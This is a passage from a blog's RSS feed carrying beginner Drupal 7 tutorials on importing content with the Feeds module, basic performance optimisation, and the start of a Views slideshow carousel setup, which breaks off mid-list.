&lt;p&gt;In all seriousness, one of the most commonly used methods to import large amounts of content is with the &lt;a href=&quot;https://www.drupal.org/project/feeds&quot;&gt;Feeds&lt;/a&gt; module. The &lt;a href=&quot;https://www.drupal.org/node/622696&quot;&gt;official documentation&lt;/a&gt; for Feeds is very good and comprehensive, but I still ran into some issues when I tried it for the first time (and subsequent times as well, to be honest).&lt;/p&gt;
&lt;p&gt;I attribute it to the complicated data sets I had to work with. Usually, for single value fields, the data import is pretty straight-forward. It&apos;s when you have to deal with multi-value fields when things start to get messy.&lt;/p&gt;
&lt;p&gt;Sometimes you&apos;ll find that the trickiest part of getting your feed to import successfully is mostly about massaging the data so it gets read correctly. I describe one of my data cleansing adventures &lt;a href=&quot;/blog/the-one-with-many-iterations/#data-cleansing&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot; id=&quot;feeds-tips&quot;&gt;There are many different types of parsers you can use to build your feed importer. The most commonly used methods are:&lt;/p&gt;
&lt;ul class=&quot;parsers&quot;&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#csv-import&quot;&gt;CSV import&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;#xml-import&quot;&gt;XML import&lt;/a&gt;&lt;/li&gt;
    &lt;li class&gt;&lt;a href=&quot;#json-import&quot;&gt;JSON import&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;CSV import&lt;/h2&gt;
&lt;p&gt;If you&apos;re doing a CSV import with multi-value fields, it really pays to be well-versed in the fine art of Excel-fu. That also means you should have access to Microsoft Excel, because personally, I have yet to find a spreadsheet software that can match the functionalities of Excel.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Add your new importer and set up the basic settings as required.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set up your fetcher settings. All my CSV importer use cases thus far were from a file so I&apos;ve always chosen &lt;em&gt;File upload&lt;/em&gt;. There appears to be an expert option for this, but I&apos;ve never had to invoke it so I&apos;ll let you know if I ever do.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set the parser to &lt;em&gt;CSV parser&lt;/em&gt;. You have a few options for choice of delimiter: comma, semi-colon, tab, pipe and plus. Even though there&apos;s an option to have no headers on your CSV file, my advice is, don&apos;t tempt fate and just add the headers to the file. Your mapping source MUST match the header row in your CSV file.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set up your node processor settings according to your requirements. It&apos;s important to have a unique field in your CSV file to serve as the GUID because this indicates to the importer which nodes already exist in the database. Without a unique target as GUID, new nodes will be created even if you import the same file again.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;As mentioned earlier, the source entered on the Node processor mapping must be an exact match with the headers on your CSV file.&lt;/p&gt;
&lt;img alt=&quot;CSV headers&quot; src=&quot;/images/posts/feeds/feeds-6.jpg&quot;&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you have a multi-value field, you need to install the &lt;a href=&quot;https://www.drupal.org/project/feeds_tamper&quot;&gt;Feeds Tamper&lt;/a&gt; module. Enable BOTH Feeds Tamper and Feeds Tamper UI and you should see a &lt;em&gt;Tamper&lt;/em&gt; tab on the top right corner.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;At your multi-value field, click on &amp;#10133; Add plugin and choose &lt;em&gt;Explode&lt;/em&gt;. This plugin simply splits out the individual values in that field according to their separator.&lt;/p&gt;
&lt;img alt=&quot;Explode&quot; src=&quot;/images/posts/feeds/feeds-7.jpg&quot;&gt;
&lt;p&gt;The &lt;em&gt;String seperator&lt;/em&gt; is something you have to think about when formatting your CSV file. Each individual field has a separator, but for a multi-value field, each value also has a separator. I tend to use the default comma for each field, and a semi-colon for exploding.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Spaces in between individual values are also recognised. So if you don&apos;t want to prepend single spaces to your imported values, either remove them between individual values on your CSV file or use &lt;code&gt;%s&lt;/code&gt; in the string separator.&lt;/p&gt;
&lt;img alt=&quot;Dealing with spaces&quot; src=&quot;/images/posts/feeds/feeds-8.jpg&quot;&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;If you&apos;re importing a taxonomy term, you have the option of matching the term to a term name, term ID or GUID. Checking &lt;em&gt;Auto create&lt;/em&gt; will create any terms that do not already match existing terms in your database. If you do not check this, and your CSV contains terms that do not exist in your database, those terms will not be imported.&lt;/p&gt;
&lt;img alt=&quot;Auto create terms&quot; src=&quot;/images/posts/feeds/feeds-9.jpg&quot;&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you need to import files or images, you have 2 options. Both of them require you to pick the &lt;em&gt;Image: URI (field_image:uri)&lt;/em&gt; target when mapping.&lt;/p&gt;
&lt;p&gt;If the files already exist somewhere on the web, check that the files are accessible. The field on your CSV file should contain the exact URL to the file you want imported, for example, &lt;code&gt;http://www.SITE_NAME.com/FILE_NAME.ext&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Make sure there are &lt;strong&gt;no spaces&lt;/strong&gt; anywhere in the URL in your CSV source file, especially at the very beginning of your file URL. &lt;a href=&quot;http://drupal.stackexchange.com/questions/50581/how-to-setup-a-csv-file-to-import-image-paths-into-an-image-field-via-feeds-modu&quot;&gt;See reference post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The second option is to manually upload the files to the server. Make sure your files are in the correct folder. Then go to the Tamper section and add and &lt;em&gt;Rewrite&lt;/em&gt; plugin to the file field. There are tokens available for use in the replacement pattern so in my example, the pattern would be &lt;code&gt;public://[image]&lt;/code&gt;.
&lt;img src=&quot;/images/posts/feeds/feeds-10.jpg&quot; alt=&quot;Rewrite file field&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;public://&lt;/code&gt; points to the &lt;em&gt;sites/default/files&lt;/em&gt; folder. If you organise your images in that folder differently, adjust the replacement pattern accordingly. If you have an images folder in there, then use &lt;code&gt;public://images/[image]&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One caveat with this method is that it results in duplicate images in your &lt;em&gt;sites/default/files&lt;/em&gt; folder. Even though the images are already in the folder, Drupal will make a copy of the image so you end up with both &lt;code&gt;image1.jpg&lt;/code&gt; and &lt;code&gt;image1_0.jpg&lt;/code&gt;. Unfortunately, there is no clear solution for dealing with this issue yet, as of time of writing.&lt;/p&gt;
&lt;p&gt;You could try using the &lt;a href=&quot;https://www.drupal.org/project/media_feeds&quot;&gt;Media Feeds&lt;/a&gt; module as described in &lt;a href=&quot;http://drupal.stackexchange.com/questions/17956/feeds-import-causing-duplicate-image-files&quot;&gt;this thread&lt;/a&gt; but I could not get it to work properly for this. I got the &lt;em&gt;Failed to get the file object&lt;/em&gt; error instead.&lt;/p&gt;
&lt;p&gt;The issue is being worked on though, and you can follow the issue thread &lt;a href=&quot;https://www.drupal.org/node/1171114&quot;&gt;here&lt;/a&gt;. I&apos;ll update this post as this issue progresses. If you are doing a one-off import, one possible way to handle the duplicates is to manually remove the original files. But if you&apos;re doing constant importing, I can see how this is not a viable option. Watch this space.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;XML import&lt;/h2&gt;
&lt;p&gt;You will need to install the &lt;a href=&quot;https://www.drupal.org/project/feeds_xpathparser&quot;&gt;Feeds XPath Parser&lt;/a&gt; module for this. If you go to the module page, you&apos;ll see that further development is happening at &lt;a href=&quot;https://www.drupal.org/project/feeds_ex&quot;&gt;Feeds extensible parsers&lt;/a&gt;. Unfortunately, I was unable to get that to work at all with my XML file.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Add your new importer and set up the basic settings as required.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Set up your fetcher settings. If you&apos;re creating an automated feed that pulls from a URL, then select &lt;em&gt;HTTP fetcher&lt;/em&gt;. &lt;strong&gt;Only the development version has the option to automatically add scheme&lt;/strong&gt;.&lt;/p&gt;
&lt;img alt=&quot;HTTP fetcher&quot; src=&quot;/images/posts/feeds/feeds.jpg&quot;&gt;
&lt;p&gt;If your feed is password protected, you can append the login and password in front of the feed URL like in the example above. May be obvious to many, but took me a while to get wise to.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set the parser to &lt;em&gt;XPath XML parser&lt;/em&gt; but don&apos;t do anything to its settings yet. Instead go straight to &lt;em&gt;Mapping&lt;/em&gt; under the &lt;em&gt;Processor&lt;/em&gt; option. Most of the time, importing content means creating nodes, hence &lt;em&gt;Node processor&lt;/em&gt; is the default option.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add as many &lt;em&gt;XPath Expression&lt;/em&gt;s as required. Each &lt;em&gt;XPath Expression&lt;/em&gt; maps a field on your XML document to a field on your content type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Now you can input settings for the &lt;em&gt;XPath XML parser&lt;/em&gt;. This is generally pretty straight-forward. Context is sort of like the parent level tag that wraps the rest of the data you want to import.&lt;/p&gt;
&lt;img alt=&quot;XML mapping&quot; src=&quot;/images/posts/feeds/feeds-4.jpg&quot;&gt;
&lt;p&gt;Each of the XML tags to map to their respective Drupal fields. &lt;strong&gt;If you have an XML attribute you want to use, the syntax is &lt;em&gt;@attribute&lt;/em&gt;&lt;/strong&gt; (refer to the orange arrow). This took me a LOT of googling to figure out.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you read the CSV section, you&apos;ll realise that importing files and images is a bit hairy. I&apos;ve only ever imported images which are hosted somewhere on the internet when using XML importers. So if all the images you want to import are on your hard drive, maybe upload them somewhere first?&lt;/p&gt;
&lt;p&gt;That aside, assuming your files already exist in a corner of the web, we&apos;ll need the &lt;a href=&quot;https://www.drupal.org/project/media_feeds&quot;&gt;Media Feeds&lt;/a&gt; module. It&apos;s dependent on the &lt;strong&gt;7.x-2.x&lt;/strong&gt; version of &lt;a href=&quot;https://www.drupal.org/project/media&quot;&gt;Media&lt;/a&gt;. Although it didn&apos;t work properly for my CSV import, it worked fine for this.&lt;/p&gt;
&lt;p&gt;You also need to enable the Media Internet Sources module that comes with Media. This will add an extra option of (media_internet) to your list of targets. As long as the URL in between your XML tags have no spaces in them, the import should take. Hopefully.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once you&apos;ve mapped everything out, it&apos;s time to test your importer. Go to the import page and pick the importer you just created.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Enter the feed source URL and click import. Cross your fingers or whatever good luck ritual you have. If all went well, this is what you should see. Hopefully the correct number of nodes were imported.&lt;/p&gt;
&lt;img alt=&quot;Sucessful import&quot; src=&quot;/images/posts/feeds/feeds-5.jpg&quot;&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;JSON import&lt;/h2&gt;
&lt;p&gt;Similar to the XML option, you will need to install the &lt;a href=&quot;https://www.drupal.org/project/feeds_jsonpath_parser&quot;&gt;Feeds JSONPath Parser&lt;/a&gt; module for this. If you go to the module page, you&apos;ll see that further development is happening at &lt;a href=&quot;https://www.drupal.org/project/feeds_ex&quot;&gt;Feeds extensible parsers&lt;/a&gt;. &lt;em&gt;Full disclosure, I did not attempt to try the new module for JSON feeds.&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Add your new importer and set up the basic settings as required.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Set up your fetcher settings. If you&apos;re creating an automated feed that pulls from a URL, then select &lt;em&gt;HTTP fetcher&lt;/em&gt;. &lt;strong&gt;Only the development version has the option to automatically add scheme&lt;/strong&gt;.&lt;/p&gt;
&lt;img alt=&quot;HTTP fetcher&quot; src=&quot;/images/posts/feeds/feeds.jpg&quot;&gt;
&lt;p&gt;If your feed is password protected, you can append the login and password in front of the feed URL like in the example above.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Set the parser to &lt;em&gt;JSONPath parser&lt;/em&gt; but don&apos;t do anything to its settings yet. Instead go straight to &lt;em&gt;Mapping&lt;/em&gt; under the &lt;em&gt;Processor&lt;/em&gt; option. Most of the time, importing content means creating nodes, hence &lt;em&gt;Node processor&lt;/em&gt; is the default option.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add as many &lt;em&gt;JSONPath Expression&lt;/em&gt;s as required. Each &lt;em&gt;JSONPath Expression&lt;/em&gt; maps a field on your JSON document to a field on your content type.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Now you can input settings for the &lt;em&gt;JSONPath parser&lt;/em&gt;. This is generally pretty straight-forward. Context is sort of like the parent level wrapper around the rest of the data you want to import. The syntax is &lt;code&gt;$.items.*&lt;/code&gt;. Each subsequent level of nesting should be separated by a period.&lt;/p&gt;
&lt;img alt=&quot;JSON mapping&quot; src=&quot;/images/posts/feeds/feeds-11.jpg&quot;&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This particular step requires the &lt;a href=&quot;https://www.drupal.org/project/feeds_tamper&quot;&gt;Feeds Tamper&lt;/a&gt; module. If you have a required field on your content type which does not exist in your JSON document, you can use &lt;em&gt;Blank source&lt;/em&gt; as the corresponding mapping.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;My use case was for the language field of my imported nodes. The language field was a mandatory field, but it did not exist in the JSON document.&lt;/p&gt;
&lt;img alt=&quot;Blank source&quot; src=&quot;/images/posts/feeds/feeds-2.jpg&quot;&gt;
&lt;p class=&quot;no-margin&quot;&gt;Click on the &lt;em&gt;Tamper&lt;/em&gt; tab at the top right of the page. Then, add a plugin to the language field.&lt;/p&gt;
&lt;img alt=&quot;Feeds tamper&quot; src=&quot;/images/posts/feeds/feeds-3.jpg&quot;&gt;
&lt;p&gt;There are many plugins available to help you massage your data into its required format. For this particular use case, I&apos;m using &lt;em&gt;Set default value&lt;/em&gt; to input the language code &lt;em&gt;zh-hans&lt;/em&gt;. As a result, all my imported nodes will have their language field set to &lt;em&gt;zh-hans&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This is a very specific use case, but it just highlights how useful Feeds Tamper is in getting your import to work properly, given how finicky the importers are about formatting.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Non-format specific tips&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;&lt;strong&gt;Dates and times&lt;/strong&gt;&lt;/p&gt;
  &lt;p class=&quot;no-margin&quot;&gt;If you&apos;re importing dates, make sure the &lt;strong&gt;date format&lt;/strong&gt; set on the field settings matches the format from your source. Same goes for time, which essentially uses the same field type anyway. Create a custom date format if you have to.&lt;/p&gt;
  &lt;img alt=&quot;Date field settings&quot; src=&quot;/images/posts/feeds/feeds-12.jpg&quot;&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So that&apos;s my 50 hours worth of feeds troubleshooting. However, I think my use cases for feeds will continue to increase so there is a high chance of a follow-up post, especially since the parser modules are being upgraded. Well, stay tuned then.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image by &lt;a href=&quot;http://ghostgirl-shanika.deviantart.com/art/Table-Flip-282912626&quot;&gt;Shannon&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Basic site optimisations</title><link>https://chenhuijing.com/blog/drupal-101-basic-site-optimisations/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-basic-site-optimisations/</guid><description>It has been statistically proven that nobody likes a slow website. We have all moved on from the days when you&apos;d patiently wait for a page to load over that…</description><pubDate>Sun, 01 Mar 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It has been &lt;a href=&quot;https://blog.kissmetrics.com/loading-time/?wide=1&quot;&gt;statistically proven&lt;/a&gt; that nobody likes a slow website. We have all moved on from the days when you&apos;d patiently wait for a page to load over that lovely dial-up modem. Nowadays, people want their pretty content, and they want it loaded instantaneously (or at most by 2 blinks).&lt;/p&gt;
&lt;p&gt;One very basic concept I learnt about website performance is: minimise requests to your server. This makes perfect sense to me. Say I had a shopping list with 12 items. If I went to the general store and asked the shopkeeper for each item separately, he&apos;d have to make 12 trips and most likely end up being very pissed at me.&lt;/p&gt;
&lt;p&gt;It&apos;s much more efficient and faster to get all my stuff in a single trip. So we want the server to send over everything the browser needs to display your website in its full glory in as few trips as possible.&lt;/p&gt;
&lt;p&gt;Your new favourite word for today is cache. For users to see one of your pages on their browsers, the browser has to ask the server hosting your website for it. Caching just tells the browser to hold onto their copy of their asset for a while instead of asking for it every time it&apos;s required. Loading from cache doesn&apos;t require a request to the server. Less requests to the server equals faster page load.&lt;/p&gt;
&lt;p&gt;There are a myriad of tools and checklists out there that can point you in the right direction when it comes to optimising your Drupal site. &lt;a href=&quot;https://twitter.com/timmillwood&quot;&gt;Tim Millwood&apos;s&lt;/a&gt; article on the &lt;a href=&quot;http://www.creativebloq.com/web-design/drupal-performance-tips-9122837&quot;&gt;Top 15 Drupal performance tips&lt;/a&gt; is a good one. I followed most of them to optimise my sites but always wondered how these actions actually worked. So here goes, the newbie&apos;s guide to Drupal site optimisation.&lt;/p&gt;
&lt;h2&gt;General good practices&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep core and modules up-to-date&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Although this seems like a no-brainer, I also understand that sometimes updating a module may OCCASIONALLY break something (trust me, I&apos;ve been there). My advice? Always test on your local development environment before deploying.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Always disable and uninstall modules before removing them&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;A lot modules do write to the database so if you remove the module files without properly disabling and uninstalling the module first, your site has a very high chance of crashing.&lt;/li&gt;
&lt;li&gt;It&apos;s really not hard. You can disable modules from &lt;code&gt;admin/modules&lt;/code&gt; and uninstall them from &lt;code&gt;admin/modules/uninstall&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;You can also use drush (my preferred method)&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;drush dis [MODULE_NAME] -y drush pm-uninstall [MODULE_NAME] -y
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;If you did remove your module files without disabling them first, AND your website didn&apos;t crash, well, you got lucky. But we still have to fix things. &lt;a href=&quot;https://www.drupal.org/project/clean_missing_modules&quot;&gt;Clean missing modules&lt;/a&gt; provides a drush command to clean up your mess.
&lt;img src=&quot;/images/posts/basic-performance/drupal-performance-2.jpg&quot; alt=&quot;Error message WSOD&quot;&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Drupal performance options&lt;/h2&gt;
&lt;p&gt;This is available out-of-the-box with any Drupal installation. Go to &lt;code&gt;admin/config/development/performance&lt;/code&gt; and you will see these options.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/basic-performance/drupal-performance.jpg&quot; alt=&quot;Drupal performance settings&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cache pages for anonymous users&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;When an anonymous user visits the site, the generated HTML will be stored in the cache table of the Drupal database.&lt;/li&gt;
&lt;li&gt;This data will be displayed to all other anonymous users.&lt;/li&gt;
&lt;li&gt;The page caches will not be cleared unless you say so.&lt;/li&gt;
&lt;li&gt;This will override any block cache settings for anonymous users, which brings us to the next point.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cache blocks&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;The default block behaviour in Drupal is no cache, so enabling this will cache blocks for both authenticated and anonymous users.&lt;/li&gt;
&lt;li&gt;If block caching is enabled without enabling page cache, then the block cache settings will be used.&lt;/li&gt;
&lt;li&gt;Given the default is none, you can use the &lt;a href=&quot;https://www.drupal.org/project/blockcache_alter&quot;&gt;Block Cache Alter&lt;/a&gt; module to change this to something more sensible.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Disclosure note: I had a hard time finding documentation on exactly how block caching works in Drupal 7 so please let me know if I&apos;m wrong&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Minimum cache lifetime&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;This value applies for all cached objects.&lt;/li&gt;
&lt;li&gt;It tells the system to show cached content for the designated amount of time.&lt;/li&gt;
&lt;li&gt;If this value is set to ten minutes, the new content you create on your site will not appear until ten minutes later.&lt;/li&gt;
&lt;li&gt;For new content to appear, the set amount of time must have elapsed and a cache clearing function must be run.&lt;/li&gt;
&lt;li&gt;If traffic on your site is not high, it&apos;s better to leave it as none.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Expiration of cached pages&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;This sets the header Cache Control to &lt;code&gt;public&lt;/code&gt; and the maximum age value in the header to the value selected in the dropdown.&lt;/li&gt;
&lt;li&gt;This header will tell the caching system to serve their copy of the pages until maximum age, after which, the caching system will check back with the server to see if anything has changed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aggregate and compress CSS files&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;There are numerous CSS files in a working Drupal site, be it from themes, from modules etc. and this option combines all of them into one single file with white spaces removed.&lt;/li&gt;
&lt;li&gt;Remember the general store example? One request is faster than many requests.&lt;/li&gt;
&lt;li&gt;Point to note is that if your CSS contains absolute URLs, this may break your site as the URL will not be handled correctly in the combined file. Use relative URLs to be safe.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Aggregate JavaScript files&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Similar to aggregation for CSS, this option combines all the JavaScript files from your theme and modules, again, to reduce the number of requests to the server.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Usually, it&apos;s best to just check everything here.&lt;/p&gt;
&lt;h2&gt;Core modules to avoid&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Database logging (dblog)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;dblog will write all log messages to the database. Keyword here is all. Error messages, write. Debugging information, write. Module generated log messages, write. You get the picture.&lt;/li&gt;
&lt;li&gt;This results in lots of database entries every time a page loads. The busier the database is, the slower your site will be.&lt;/li&gt;
&lt;li&gt;This module is enabled by default for Drupal 7. Disable it and use syslog instead.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Statistics (statistics)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;This module tracks site statistics on page views and site usage.&lt;/li&gt;
&lt;li&gt;Unfortunately, it writes all these statistics to the database, and again, results in performance taking a hit.&lt;/li&gt;
&lt;li&gt;Even Mr Millwood (mentioned at the very top of this post), the maintainer of this module, suggests you use Google Analytics instead.&lt;/li&gt;
&lt;li&gt;This module is NOT enabled by default, and so just leave it be.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP filter (php)&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Although there may be certain occasions when you need to have PHP code in your content, most of the time (if not all), you can put that code in a custom module.&lt;/li&gt;
&lt;li&gt;Putting PHP code in your content means it has to be retrieved from the database before it can be executed, so it makes more sense to bypass this step by writing that code to a custom module.&lt;/li&gt;
&lt;li&gt;Your database has better things to do than to fetch PHP code for execution.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That about covers all the low hanging fruit for improving the performance of your site. There is definitely more that can be done, but even if you stop here, you should be able to see performance improvements already.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: A simple image carousel</title><link>https://chenhuijing.com/blog/drupal-101-simple-image-carousel/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-simple-image-carousel/</guid><description>The first Drupal 7 project I worked on had to have an image carousel with one of those dot pagers on its homepage. I may have been a Drupal newbie then, but I…</description><pubDate>Mon, 23 Feb 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;/blog/the-one-that-came-first/&quot;&gt;first Drupal 7 project&lt;/a&gt; I worked on had to have an image carousel with one of those dot pagers on its homepage. I may have been a Drupal newbie then, but I knew for a fact that Drupal did not come with that function built in.&lt;/p&gt;
&lt;p&gt;Now, if you&apos;ve just started out with Drupal, you may not have heard this phrase before, but it really should be on a t-shirt:&lt;/p&gt;
&lt;p&gt;There&apos;s a module for that.&lt;/p&gt;
&lt;p&gt;Trust me when I say I would definitely wear that. But my point is, the best part about Drupal is its huge library of contributed modules that extend Drupal&apos;s capabilities. So here&apos;s a tip for newbie Drupalists, before you attempt to write a single line of custom code for that particular function you need, google it. And append the word Drupal to the search, odds are someone already wrote a module for that.&lt;/p&gt;
&lt;p&gt;Back to my image carousel. There is a &lt;a href=&quot;https://www.drupal.org/node/418616&quot;&gt;long list of modules&lt;/a&gt; that you can use to create an image carousel. Really long. But I chose to use the &lt;a href=&quot;https://www.drupal.org/project/views_slideshow&quot;&gt;Views slideshow module&lt;/a&gt;. It&apos;s an extension for the &lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views module&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you build Drupal sites and you haven&apos;t heard of Views, well, you&apos;re really missing out. Check out &lt;a href=&quot;/blog/drupal-101-intro-to-views/&quot;&gt;Drupal 101: Introduction to Views&lt;/a&gt; for a basic overview of what Views is all about.&lt;/p&gt;
&lt;p&gt;The Views slideshow module has been downloaded 1,246,043 times as of time of writing, and is reportedly used on 268,224 sites. That&apos;s about 27% of all Drupal websites (I checked the &lt;a href=&quot;https://www.drupal.org/project/usage/drupal&quot;&gt;usage statistics&lt;/a&gt;, I did NOT pluck this number out of the sky). So I figured if I did run into any trouble, there&apos;s a high chance someone else did too and probably already had a solution for it.&lt;/p&gt;
&lt;p&gt;There is extensive coverage on the basics of installation and setting up &lt;a href=&quot;https://www.drupal.org/node/903244&quot;&gt;here&lt;/a&gt;. However, the Views slideshow does require some further tweaking after installation.&lt;/p&gt;
&lt;p&gt;Depending on your requirements, you can choose to create a Slide content type just for the carousel, or you can choose to use an existing content type. For this example, I created a simple Slide content type, consisting of just 2 fields, a title and an image.&lt;/p&gt;
&lt;h2&gt;Slideshow view display setup&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Start off by creating a View for the Slide content type.
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow.jpg&quot; alt=&quot;Create slide view&quot;&gt;
Choose block for the view display and set the display format to Slideshow of fields. Unless you need a title for the slideshow, set the block title to &amp;lt;none&amp;gt;.&lt;/li&gt;
&lt;li&gt;By default, only the title field will be displayed at first. Since we want this to be an image carousel, let&apos;s add the image field to the display. Adjust the settings as you see fit.
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-2.jpg&quot; alt=&quot;Add image field&quot;&gt;&lt;/li&gt;
&lt;li&gt;Add the Nid field to the display as well. We&apos;ll be styling this field to become the dot pager. Check Exclude from display so no random numbers will show up on our slideshow. While you&apos;re at it, do the same for the title field as well.
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-3.jpg&quot; alt=&quot;Add Nid field&quot;&gt;&lt;/li&gt;
&lt;li&gt;Now we have enough fields to tweak the Slideshow settings. Under FORMAT, you should see Format: Slideshow | Settings. Click on Settings.&lt;/li&gt;
&lt;li&gt;There are a lot of options available here. We&apos;ll just take the default settings for Row classes, Style and Slides. Unless you installed extra plugins, the only Slideshow Type you&apos;ll have is Cycle anyway.&lt;/li&gt;
&lt;li&gt;Under Cycle options, you can specify the transition effect as well as any interactions for the slideshow. The defaults work fine here too.&lt;/li&gt;
&lt;li&gt;Scroll further down till you get to the Bottom Widgets.
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-4.jpg&quot; alt=&quot;Bottom widgets&quot;&gt;
Check the Pager option, then select Fields as the Pager Type. Check Content: Nid as the field to use (that&apos;s why we added this field in the first place). Check the Activate Slide and Pause on Pager Hover as well.&lt;/li&gt;
&lt;li&gt;You should see something like this. And to test the pager function, hover over the numbers. The slides should change accordingly.
&lt;img src=&quot;/images/posts/image-carousel/view-slideshow-8.jpg&quot; alt=&quot;Pager unstyled&quot;&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now we&apos;re done with the Views portion. On to the CSS!&lt;/p&gt;
&lt;h2&gt;Styling the dot pager&lt;/h2&gt;
&lt;p&gt;Before we begin, you must brace yourself for markup with levels of nesting so deep it would put Inception to shame. Yes, we can do something about it, but that&apos;s for another article. So for now, defaults it is. Channel your inner Christopher Nolan, my friends.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
